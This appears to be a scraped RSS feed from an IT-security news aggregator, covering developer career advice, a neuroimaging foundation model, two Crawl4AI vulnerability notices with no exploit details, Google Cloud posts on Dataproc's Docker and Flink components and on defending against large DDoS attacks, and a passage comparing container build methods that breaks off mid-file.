<p>Summit Search Group is seeing high demand for developers with deep domain knowledge in an organization’s specific industry. “So, for instance, if someone is both an experienced developer and has expertise in healthcare compliance, or financial regulations, then those candidates tend to be very sought after,” Erhard says.</p>



<p>Domain fluency is an underrated skill, Awasthi says. “A developer who understands healthcare compliance, financial regulation, or manufacturing process logic is significantly harder to replace than one who only writes clean code,” she says. “AI can generate boilerplate. It cannot navigate a HIPAA audit or explain a model’s output to a compliance officer.”</p>



<p>Development professionals should “pick an industry and learn it seriously; not just the technology stack but the regulatory environment, the business model, and the actual problems practitioners face,” Awasthi says. “A developer who has read about HIPAA, or spent time understanding credit risk, is immediately more valuable in those hiring contexts.”</p>



<p>It’s also vital to demonstrate real-world, practical application of skills, not just credentials. “The strongest candidates have projects in their portfolio that directly tie to and solve real business problems,” Erhard says.</p>



<h3 class="wp-block-heading">Acquire soft skills</h3>



<p>And then there are the soft skills that are becoming more of a differentiator than they were in the past. As AI handles more routine coding, human developers are expected to make more architectural decisions and collaborate across departments, Erhard says. “Strong communication and problem-solving skills are critical for many of the developer roles that we’re filling today,” he says.</p>



<p>While technical skills are still relevant for developers using and managing AI tools, “they also need to develop the skill of ‘deeper thinking’ and learn how to think one step ahead,” Morris says. “This includes skills like system design mastery—understanding the macro view and learning how <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html" data-type="link" data-id="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices</a>, databases, and third-party APIs interact securely and efficiently.”</p>



<p>They also should become deeply fluent in the AI coding tools commonly used in their particular industry, with a strong understanding of how to prompt them for optimal output, Morris says. Product context awareness is also useful. “AI doesn’t know what the customer wants, but you do,” Morris says. “Understanding the business problem and the end-user experience is a requirement for being able to guide LLMs.”</p>



<h3 class="wp-block-heading">Master debugging and incident response</h3>



<p>Developers looking to break into non-tech sectors also should develop skills in debugging and incident response, Morris says. “Complex systems with multiple AI agents can, and will, fail, which means companies need humans to trace logic flaws to get the system back on track,” he says. “A mastery of root-cause analysis is a critical skill.”</p>



<p>“Security, compliance, and reliability are very important in non-tech industries like finance and healthcare,” says <a href="https://www.linkedin.com/in/rohit-agarwal/" data-type="link" data-id="https://www.linkedin.com/in/rohit-agarwal/">Rohit Agarwal</a>, co-founder of Zenius, a remote hiring company. “So employers want developers who also know regulatory environments well.”</p>



<h3 class="wp-block-heading">Network and keep learning</h3>



<p>To successfully pivot from jobs at tech companies, “continuous learning, upskilling, and building hybrid skills that combine technical and business knowledge are essential,” Morris says. “With the right preparation, tech professionals can adapt and continue to thrive in meaningful, dynamic careers.”</p>



<p>It’s also a good idea to join talent communities in fields of interest and “engage with other members in conversations that increase your knowledge through the collective intelligence of the community,” Morris says. “Take advantage of AI skilling opportunities relevant for your role, or better yet, where you want to go next. Experiment with the technology either on your own or through structured programs.” Ultimately, be curious and proactive, he says.</p>



<p>“I’d also recommend developers not to ignore referrals, direct outreach, and industry-specific communities during job search,” Agarwal says. “There are often a lot more opportunities available than the ones posted online.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Meet NeuroVFM: A New Neuroimaging Foundation Model Trained With Vol-JEPA on Uncurated Clinical MRI and CT Volumes]]></title>
<description><![CDATA[NeuroVFM is a generalist neuroimaging foundation model from the University of Michigan, trained on 5.24M clinical MRI and CT volumes. Its Vol-JEPA base extends I-JEPA and V-JEPA to volumetric medical imaging, learning brain anatomy and pathology without radiology-report labels.
The post Meet Neur...]]></description>
<link>https://tsecurity.de/de/3664021/ai-nachrichten/meet-neurovfm-a-new-neuroimaging-foundation-model-trained-with-vol-jepa-on-uncurated-clinical-mri-and-ct-volumes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664021/ai-nachrichten/meet-neurovfm-a-new-neuroimaging-foundation-model-trained-with-vol-jepa-on-uncurated-clinical-mri-and-ct-volumes/</guid>
<pubDate>Mon, 13 Jul 2026 02:48:05 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>NeuroVFM is a generalist neuroimaging foundation model from the University of Michigan, trained on 5.24M clinical MRI and CT volumes. Its Vol-JEPA base extends I-JEPA and V-JEPA to volumetric medical imaging, learning brain anatomy and pathology without radiology-report labels.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/12/meet-neurovfm-a-new-neuroimaging-foundation-model-trained-with-vol-jepa-on-uncurated-clinical-mri-and-ct-volumes/">Meet NeuroVFM: A New Neuroimaging Foundation Model Trained With Vol-JEPA on Uncurated Clinical MRI and CT Volumes</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-56259 | Crawl4AI up to 0.8.7 Docker API /llm/job base_url/api_token redirect (EUVD-2026-43226)]]></title>
<description><![CDATA[A vulnerability classified as problematic was found in Crawl4AI up to 0.8.7. Affected is an unknown function of the file /llm/job of the component Docker API. Executing a manipulation of the argument base_url/api_token can lead to open redirect.

This vulnerability is registered as CVE-2026-56259...]]></description>
<link>https://tsecurity.de/de/3663473/sicherheitsluecken/cve-2026-56259-crawl4ai-up-to-087-docker-api-llmjob-baseurlapitoken-redirect-euvd-2026-43226/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663473/sicherheitsluecken/cve-2026-56259-crawl4ai-up-to-087-docker-api-llmjob-baseurlapitoken-redirect-euvd-2026-43226/</guid>
<pubDate>Sun, 12 Jul 2026 17:08:54 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> was found in <a href="https://vuldb.com/product/crawl4ai">Crawl4AI up to 0.8.7</a>. Affected is an unknown function of the file <em>/llm/job</em> of the component <em>Docker API</em>. Executing a manipulation of the argument <em>base_url/api_token</em> can lead to open redirect.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2026-56259">CVE-2026-56259</a>. It is possible to launch the attack remotely. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-56260 | Crawl4AI up to 0.8.6 Docker API output_path denial of service (EUVD-2026-43227)]]></title>
<description><![CDATA[A vulnerability, which was classified as critical, has been found in Crawl4AI up to 0.8.6. Affected by this vulnerability is an unknown functionality of the component Docker API. The manipulation of the argument output_path leads to denial of service.

This vulnerability is documented as CVE-2026...]]></description>
<link>https://tsecurity.de/de/3663392/sicherheitsluecken/cve-2026-56260-crawl4ai-up-to-086-docker-api-outputpath-denial-of-service-euvd-2026-43227/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663392/sicherheitsluecken/cve-2026-56260-crawl4ai-up-to-086-docker-api-outputpath-denial-of-service-euvd-2026-43227/</guid>
<pubDate>Sun, 12 Jul 2026 16:09:18 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">critical</a>, has been found in <a href="https://vuldb.com/product/crawl4ai">Crawl4AI up to 0.8.6</a>. Affected by this vulnerability is an unknown functionality of the component <em>Docker API</em>. The manipulation of the argument <em>output_path</em> leads to denial of service.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-56260">CVE-2026-56260</a>. The attack can be initiated remotely. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[New Dataproc optional components support Apache Flink and Docker]]></title>
<description><![CDATA[Google Cloud’s Dataproc lets you run native Apache Spark and Hadoop clusters on Google Cloud in a simpler, more cost-effective way. In this blog, we will talk about our newest optional components available in Dataproc’s Component Exchange: Docker and Apache Flink.Docker container on DataprocDocke...]]></description>
<link>https://tsecurity.de/de/3662840/it-security-nachrichten/new-dataproc-optional-components-support-apache-flink-and-docker/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662840/it-security-nachrichten/new-dataproc-optional-components-support-apache-flink-and-docker/</guid>
<pubDate>Sun, 12 Jul 2026 08:07:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p>Google Cloud’s Dataproc lets you run native Apache Spark and Hadoop clusters on Google Cloud in a simpler, more cost-effective way. In this blog, we will talk about our newest optional components available in Dataproc’s Component Exchange: Docker and Apache Flink.</p><h3>Docker container on Dataproc</h3><p>Docker is a widely used container technology. Since it’s now a Dataproc optional component, Docker daemons can now be installed on every node of the Dataproc cluster. This will give you the ability to install containerized applications and interact with Hadoop clusters easily on the cluster. </p><p>In addition, Docker is also critical to supporting these features:</p><ol><li><p>Running containers with YARN</p></li><li><p>Portable Apache Beam job</p></li></ol><p>Running containers on YARN allows you to manage dependencies of your YARN application separately, and also allows you to create containerized services on YARN. <a href="https://hadoop.apache.org/docs/current/hadoop-yarn/hadoop-yarn-site/DockerContainers.html" target="_blank">Get more details here.</a> Portable Apache Beam packages jobs into Docker containers and submits them the Flink cluster. Find <a href="https://beam.apache.org/roadmap/portability/" target="_blank">more detail about Beam portability</a>. </p><p>Docker optional component is also configured to use <a href="https://cloud.google.com/container-registry">Google Container Registry</a>, in addition to the default Docker registry. This lets you use container images managed by your organization.</p><p>Here is how to create a Dataproc cluster with the Docker optional component:</p><p><code>gcloud beta dataproc clusters create &lt;cluster-name&gt; \</code><br><code>  --optional-components=DOCKER \</code><br><code>  --image-version=1.5</code></p><p>When you run the Docker application, the log will be streamed to Cloud Logging, using gcplogs driver.</p><p>If your application does not depend on any Hadoop services, check out <a href="https://kubernetes.io/" target="_blank">Kubernetes</a> and <a href="https://cloud.google.com/kubernetes-engine/docs/quickstart">Google Kubernetes Engine</a> to run containers natively. For more on using Dataproc, <a href="https://cloud.google.com/dataproc/docs">check out our documentation</a>.</p><h3>Apache Flink on Dataproc</h3><p>Among streaming analytics technologies, Apache Beam and Apache Flink stand out. Apache Flink is a distributed processing engine using stateful computation. <a href="https://beam.apache.org/get-started/beam-overview/" target="_blank">Apache Beam</a> is a unified model for defining batch and steaming processing pipelines. Using <a href="https://beam.apache.org/documentation/runners/flink/" target="_blank">Apache Flink as an execution engine</a>, you can also run Apache Beam jobs on Dataproc, in addition to Google’s Cloud Dataflow service.</p><p>Flink and running Beam on Flink are suitable for large-scale, continuous jobs, and provide:</p><ul><li><p>A streaming-first runtime that supports both batch processing and data streaming programs</p></li><li><p>A runtime that supports very high throughput and low event latency at the same time</p></li><li><p>Fault-tolerance with exactly-once processing guarantees</p></li><li><p>Natural back-pressure in streaming programs</p></li><li><p>Custom memory management for efficient and robust switching between in-memory and out-of-core data processing algorithms</p></li><li><p>Integration with YARN and other components of the Apache Hadoop ecosystem</p></li></ul><p>Our Dataproc team here at Google Cloud recently announced that <a href="https://cloud.google.com/blog/products/data-analytics/open-source-processing-engines-for-kubernetes">Flink Operator on Kubernetes</a> is now available. It allows you to run Apache Flink jobs in Kubernetes, bringing the benefits of reducing platform dependency and producing better hardware efficiency. </p><p><b>Basic Flink Concepts</b></p><p>A Flink cluster consists of a Flink JobManager and a set of Flink TaskManagers. Like similar roles in other distributed systems such as YARN, JobManager has responsibilities such as accepting jobs, managing resources and supervising jobs. TaskManagers are responsible for running the actual tasks. </p><p>When running Flink on Dataproc, we use YARN as resource manager for Flink. You can run Flink jobs in 2 ways: job cluster and session cluster. For the job cluster, YARN will create JobManager and TaskManagers for the job and will destroy the cluster once the job is finished. For session clusters, YARN will create JobManager and a few TaskManagers.The cluster can serve multiple jobs until being shut down by the user.</p><p><b>How to create a cluster with Flink</b></p><p>Use this command to get started:</p><p><code>gcloud beta dataproc clusters create &lt;cluster-name&gt; \</code><br><code>  --optional-components=FLINK \</code><br><code>  --image-version=1.5</code></p><p><b>How to run a Flink job</b></p><p>After a Dataproc cluster with Flink starts, you can submit your Flink jobs to YARN directly using the Flink job cluster. After accepting the job, Flink will start a JobManager and slots for this job in YARN. The Flink job will be run in the YARN cluster until finished. The JobManager created will then be shut down. Job logs will be available in regular YARN logs. Try this command to run a word-counting example:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'HADOOP_CLASSPATH=`hadoop classpath` flink run -m yarn-cluster /usr/lib/flink/examples/batch/WordCount.jar'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa8374c0&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>The Dataproc cluster will not start a <a href="https://ci.apache.org/projects/flink/flink-docs-release-1.10/ops/deployment/yarn_setup.html#flink-yarn-session" target="_blank">Flink Session</a> cluster by default. Instead, Dataproc will create the script “/usr/bin/flink-yarn-daemon,” which will start a Flink session. </p><p>If you want to start a Flink session when Dataproc is created, use the metadata key to allow it:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'gcloud dataproc clusters create &lt;cluster-name&gt; \\\r\n    --optional-components=FLINK \\ \r\n    --image-version=1.5 \\\r\n    --metadata flink-start-yarn-session=true'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa837580&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>If you want to start the Flink session after Dataproc is created, you can run the following command on master node:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', '$ . /usr/bin/flink-yarn-daemon'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa8375e0&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>Submit jobs to that session cluster. You’ll need to get the Flink JobManager URL:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'HADOOP_CLASSPATH=`hadoop classpath` flink run -m &lt;JOB_MANAGER_HOSTNAME&gt;:&lt;REST_API_PORT&gt; /usr/lib/flink/examples/batch/WordCount.jar'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa837640&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p><b>How to run a Java Beam job</b></p><p>It is very easy to run an Apache Beam job written in Java. There is no extra configuration needed. As long as you package your Beam jobs into a JAR file, you do not need to configure anything to run Beam on Flink. This is the command you can use:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', '$ mvn package -Pflink-runner\r\n$ bin/flink run -c org.apache.beam.examples.WordCount /path/to/your.jar\r\n--runner=FlinkRunner --other-parameters'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa8376a0&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p><b>How to run a Python Beam job written in Python</b></p><p>Beam jobs written in Python use a different execution model. To run them in Flink on Dataproc, you will also need to enable the Docker optional component. Here’s how to create a cluster:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'gcloud dataproc clusters create &lt;cluster-name&gt; \\\r\n    --optional-components=FLINK,DOCKER'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa837700&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>You will also need to install necessary Python libraries needed by Beam, such as apache_beam and apache_beam[gcp]. You can pass in a Flink master URL to let it run in a session cluster. If you leave the URL out, you need to use the job cluster mode to run this job:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'import apache_beam as beam\r\nfrom apache_beam.options.pipeline_options import PipelineOptions\r\n\r\noptions = PipelineOptions([\r\n    "--runner=FlinkRunner",\r\n    "--flink_version=1.9",\r\n    "--flink_master=localhost:8081",\r\n    "--environment_type=DOCKER"\r\n])\r\nwith beam.Pipeline(options=options) as p:\r\n    ...'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa837760&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>After you’ve written your Python job, simply run it to submit:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', '$ python wordcount.py'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa8377c0&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p><a href="https://cloud.google.com/dataproc">Learn more about Dataproc.</a></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Exponential growth in DDoS attack volumes]]></title>
<description><![CDATA[Security threats such as distributed denial-of-service (DDoS) attacks disrupt businesses of all sizes, leading to outages, and worse, loss of user trust. These threats are a big reason why at Google we put a premium on service reliability that’s built on the foundation of a rugged network. To hel...]]></description>
<link>https://tsecurity.de/de/3662839/it-security-nachrichten/exponential-growth-in-ddos-attack-volumes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662839/it-security-nachrichten/exponential-growth-in-ddos-attack-volumes/</guid>
<pubDate>Sun, 12 Jul 2026 08:07:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p>Security threats such as distributed denial-of-service (DDoS) attacks disrupt businesses of all sizes, leading to outages, and worse, loss of user trust. These threats are a big reason why at Google we put a premium on service reliability that’s built on the foundation of a rugged network. </p><p>To help ensure reliability, we’ve devised some innovative ways to defend against advanced attacks. In this post, we’ll take a deep dive into DDoS threats, showing the trends we’re seeing and describing how we prepare for multi-terabit attacks, so your sites stay up and running.</p><h3>Taxonomy of attacker capabilities</h3><p>With a DDoS attack, an adversary hopes to disrupt their victim's service with a flood of useless traffic. While this attack doesn't expose user data and doesn't lead to a compromise, it can result in an outage and loss of user trust if not quickly mitigated.</p><p>Attackers are constantly developing new techniques to disrupt systems. They give their attacks fanciful names, like Smurf, Tsunami, XMAS tree, HULK, Slowloris, cache bust, TCP amplification, javascript injection, and a dozen variants of reflected attacks. Meanwhile, the defender must consider every possible target of a DDoS attack, from the network layer (routers/switches and link capacity) to the application layer (web, DNS, and mail servers). Some attacks may not even focus on a specific target, but instead attack every IP in a network. Multiplying the dozens of attack types by the diversity of infrastructure that must be defended leads to endless possibilities.</p><p>So, how can we simplify the problem to make it manageable? Rather than focus on attack methods, Google groups volumetric attacks into a handful of key metrics:</p><p></p><ul><li><b>bps</b>	network bits per second → attacks targeting network links</li><li><b>pps</b>	network packets per second → attacks targeting network equipment or DNS servers</li><li><b>rps</b>	HTTP(S) requests per second → attacks targeting application servers</li></ul><p></p><p>This way, we can focus our efforts on ensuring each system has sufficient capacity to withstand attacks, as measured by the relevant metrics.</p><h3>Trends in DDoS attack volumes</h3><p>Our next task is to determine the capacity needed to withstand the largest DDoS attacks for each key metric. Getting this right is a necessary step for efficiently operating a reliable network—overprovisioning wastes costly resources, while underprovisioning can result in an outage.</p><p>To do this, we analyzed hundreds of significant attacks we received across the listed metrics, and included credible reports shared by others. We then plot the largest attacks seen over the past decade to identify trends. (Several years of data prior to this period informed our decision of what to use for the first data point of each metric.)</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/DDoS_attacks.max-1000x1000.jpg" alt="DDoS attacks.jpg">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>The exponential growth across all metrics is apparent, often generating alarmist headlines as attack volumes grow. But we need to factor in the exponential growth of the internet itself, which provides bandwidth and compute to defenders as well. After accounting for the expected growth, the results are less concerning, though still problematic.</p><h3>Architecting defendable infrastructure</h3><p>Given the data and observed trends, we can now extrapolate to determine the spare capacity needed to absorb the largest attacks likely to occur.</p><p><b>bps</b> (network bits per second)<br>Our infrastructure absorbed a 2.5 Tbps DDoS in September 2017, the culmination of a six-month campaign that utilized multiple methods of attack. Despite simultaneously targeting thousands of our IPs, presumably in hopes of slipping past automated defenses, the attack had no impact. The attacker used <a href="https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats" target="_blank">several networks</a> to spoof 167 Mpps (millions of packets per second) to 180,000 exposed CLDAP, DNS, and SNMP servers, which would then send large responses to us. This demonstrates the volumes a well-resourced attacker can achieve: This was four times larger than the record-breaking 623 Gbps attack from the Mirai botnet a year earlier. It remains the highest-bandwidth attack reported to date, leading to reduced confidence in the extrapolation.<br></p><p><b>pps</b> (network packets per second) <br>We’ve observed a consistent growth trend, with a 690 Mpps attack generated by an IoT botnet this year. A notable outlier was a 2015 attack on a customer VM, in which an IoT botnet ramped up to 445 Mpps in 40 seconds—a volume so large we initially thought it was a monitoring glitch!</p><p><b>rps</b> (HTTP(S) requests per second)<br>In March 2014, malicious javascript injected into thousands of websites via a network man-in-the-middle attack caused hundreds of thousands of browsers to flood YouTube with requests, peaking at 2.7 Mrps (millions of requests per second). That was the largest attack known to us until recently, when a Google Cloud customer was attacked with 6 Mrps. The slow growth is unlike the other metrics, suggesting we may be under-estimating the volume of future attacks.</p><p>While we can estimate the expected size of future attacks, we need to be prepared for the <i>unexpected</i>, and thus we over-provision our defenses accordingly. Additionally, we design our systems to degrade gracefully in the event of overload, and write playbooks to guide a manual response if needed. For example, our layered defense strategy allows us to block high-rps and high-pps attacks in the network layer before they reach the application servers. Graceful degradation applies at the network layer, too: Extensive peering and network ACLs designed to throttle attack traffic will mitigate potential collateral damage in the unlikely event links become saturated.</p><p>For more detail on the layered approach we use to mitigate record-breaking DDoS attacks targeting our services, infrastructure, or customers, see Chapter 10 of our book, <a href="https://landing.google.com/sre/resources/foundationsandprinciples/srs-book/" target="_blank">Building Secure and Reliable Systems</a>.</p><h3>Cloud-based defenses</h3><p>We recognize the scale of potential DDoS attacks can be daunting. Fortunately, by deploying <a href="https://cloud.google.com/armor">Google Cloud Armor</a> integrated into our <a href="https://cloud.google.com/load-balancing">Cloud Load Balancing </a>service—which can scale to absorb massive DDoS attacks—you can protect services deployed in Google Cloud, other clouds, or on-premise from attacks. We recently announced <a href="https://cloud.google.com/blog/products/identity-security/google-cloud-armor-features-to-protect-your-websites-and-applications">Cloud Armor Managed Protection</a>, which enables users to further simplify their deployments, manage costs, and reduce overall DDoS and application security risk.</p><p>Having sufficient capacity to absorb the largest attacks is just one part of a comprehensive DDoS mitigation strategy. In addition to providing scalability, our load balancer terminates network connections on our global edge, only sending well-formed requests on to backend infrastructure. As a result it can automatically filter many types of volumetric attacks. For example, UDP amplification attacks, synfloods, and some application-layer attacks will be silently dropped. The next line of defense is the Cloud Armor WAF, which provides built-in rules for common attacks, plus the ability to deploy custom rules to drop abusive application layer requests using a broad set of HTTP semantics.</p><h3>Working together for collective security</h3><p>Google works with others in the internet community to identify and dismantle infrastructure used to conduct attacks. As a specific example, even though the 2.5 Tbps attack in 2017 didn't cause any impact, we reported thousands of vulnerable servers to their network providers, and also worked with network providers to trace the source of the spoofed packets so they could be filtered.</p><p>We encourage everyone to join us in this effort. Individual users should ensure their computers and IoT devices are patched and secured. Businesses should report criminal activity, ask their network providers to trace the sources of spoofed attack traffic, and share information on attacks with the internet community in a way that doesn't provide timely feedback to the adversary. By working together, we can reduce the impact of DDoS attacks.</p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Buildpacks vs Jib vs Dockerfile: Comparing containerization methods]]></title>
<description><![CDATA[As developers we work on source code, but production systems don't run source, they need a runnable thing. Starting many years ago, most enterprises were using Java EE (aka J2EE) and the runnable "thing" we would deploy to production was a ".jar", ".war", or ".ear" file. Those files consisted of ...]]></description>
<link>https://tsecurity.de/de/3662836/it-security-nachrichten/buildpacks-vs-jib-vs-dockerfile-comparing-containerization-methods/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662836/it-security-nachrichten/buildpacks-vs-jib-vs-dockerfile-comparing-containerization-methods/</guid>
<pubDate>Sun, 12 Jul 2026 08:06:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p>As developers we work on source code, but production systems don't run source, they need a runnable thing. Starting many years ago, most enterprises were using Java EE (aka J2EE) and the runnable "thing" we would deploy to production was a ".jar", ".war", or ".ear" file. Those files consisted of the compiled Java classes and would run inside of a "container" running on the JVM. As long as your class files were compatible with the JVM and container, the app would just work.</p><p>That all worked great until people started building non-JVM stuff: Ruby, Python, NodeJS, Go, etc. Now we needed another way to package up apps so they could be run on production systems. To do this we needed some kind of virtualization layer that would allow anything to be run. Heroku was one of the first to tackle this and they used a Linux virtualization system called "lxc" - short for Linux Containers. Running a "container" on lxc was half of the puzzle because still a "container" needed to be created from source code, so Heroku invented what they called "Buildpacks" to create a standard way to convert source into a container.</p><p>A bit later a Heroku competitor named dotCloud was trying to tackle similar problems and went a different route which ultimately led to Docker, a standard way to create and run containers across platforms including Windows, Mac, Linux, Kubernetes, and Google Cloud Run. Ultimately the container specification behind Docker became a standard under the <a href="https://opencontainers.org/" target="_blank">Open Container Initiative (OCI)</a> and the virtualization layer switched from lxc to <a href="https://github.com/opencontainers/runc" target="_blank">runc</a> (also an OCI project).</p><p>The traditional way to build a Docker container is built into the <code>docker</code> tool and uses a sequence of special instructions usually in a file named <code>Dockerfile</code> to compile the source code and assemble the "layers" of a container image.</p><p>Yeah, this is confusing because we have all sorts of different "containers" and ways to run stuff in those containers. And there are also many ways to create the things that run in containers. The bit of history is important because it helps us categorize all of this into three parts:</p><ul><li>Container Builders - Turn source code into a Container Image</li><li>Container Images - Archive files containing a "runnable" application</li><li>Containers - Run Container Images</li></ul><p>With Java EE those three categories map to technologies like:</p><ul><li>Container Builders == Ant or Maven</li><li>Container Images == .jar, .war, or .ear</li><li>Containers == JBoss, WebSphere, WebLogic</li></ul><p>With Docker / OCI those three categories map to technologies like:</p><ul><li>Container Builders == Dockerfile, Buildpacks, or Jib</li><li>Container Images == .tar files usually not dealt with directly but through a "container registry"</li><li>Containers == Docker, Kubernetes, Cloud Run</li></ul><h3>Java Sample Application</h3>Let's explore the Container Builder options further on a little Java server application.  If you want to follow along, clone my <a href="https://github.com/jamesward/comparing-docker-methods" target="_blank">comparing-docker-methods project</a>:<p><code>git clone https://github.com/jamesward/comparing-docker-methods.git</code><br></p><p><code>cd comparing-docker-methods</code></p><p></p><p>In that project you'll see a basic Java web server in <code>src/main/java/com/google/WebApp.java</code> that just responds with "hello, world" on a GET request to <code>/</code>. Here is the source:<br></p><p></p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'package com.google;\r\n\r\nimport com.sun.net.httpserver.HttpServer;\r\nimport java.io.IOException;\r\nimport java.io.OutputStream;\r\nimport java.net.InetSocketAddress;\r\n\r\npublic class WebApp {\r\n\r\n  public static void main(String[] args) throws IOException {\r\n    int port = Integer.parseInt(System.getenv().getOrDefault("PORT", "8080"));\r\n    HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);\r\n\r\n    server.createContext("/", handler -&gt; {\r\n      byte[] response = "hello, world".getBytes();\r\n      handler.sendResponseHeaders(200, response.length);\r\n      try (OutputStream os = handler.getResponseBody()) {\r\n        os.write(response);\r\n      }\r\n    });\r\n\r\n    System.out.println("Listening at http://localhost:" + port);\r\n\r\n    server.start();\r\n  }\r\n}'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860670&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>This project uses Maven with a minimal <code>pom.xml</code> build config file for compiling and running the Java server:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', '&lt;?xml version="1.0" encoding="UTF-8"?&gt;\r\n&lt;project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"\r\n    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"&gt;\r\n  &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;\r\n\r\n  &lt;groupId&gt;com.google&lt;/groupId&gt;\r\n  &lt;artifactId&gt;sample-java-mvn&lt;/artifactId&gt;\r\n  &lt;packaging&gt;jar&lt;/packaging&gt;\r\n  &lt;version&gt;0.1.0-SNAPSHOT&lt;/version&gt;\r\n\r\n  &lt;properties&gt;\r\n    &lt;maven.compiler.source&gt;8&lt;/maven.compiler.source&gt;\r\n    &lt;maven.compiler.target&gt;8&lt;/maven.compiler.target&gt;\r\n  &lt;/properties&gt;\r\n\r\n  &lt;build&gt;\r\n    &lt;plugins&gt;\r\n      &lt;plugin&gt;\r\n        &lt;groupId&gt;org.codehaus.mojo&lt;/groupId&gt;\r\n        &lt;artifactId&gt;exec-maven-plugin&lt;/artifactId&gt;\r\n        &lt;version&gt;1.6.0&lt;/version&gt;\r\n        &lt;executions&gt;\r\n          &lt;execution&gt;\r\n            &lt;goals&gt;\r\n              &lt;goal&gt;java&lt;/goal&gt;\r\n            &lt;/goals&gt;\r\n          &lt;/execution&gt;\r\n        &lt;/executions&gt;\r\n        &lt;configuration&gt;\r\n          &lt;mainClass&gt;com.google.WebApp&lt;/mainClass&gt;\r\n        &lt;/configuration&gt;\r\n      &lt;/plugin&gt;\r\n\r\n      &lt;plugin&gt;\r\n        &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;\r\n        &lt;artifactId&gt;maven-jar-plugin&lt;/artifactId&gt;\r\n        &lt;version&gt;3.2.0&lt;/version&gt;\r\n        &lt;configuration&gt;\r\n          &lt;archive&gt;\r\n            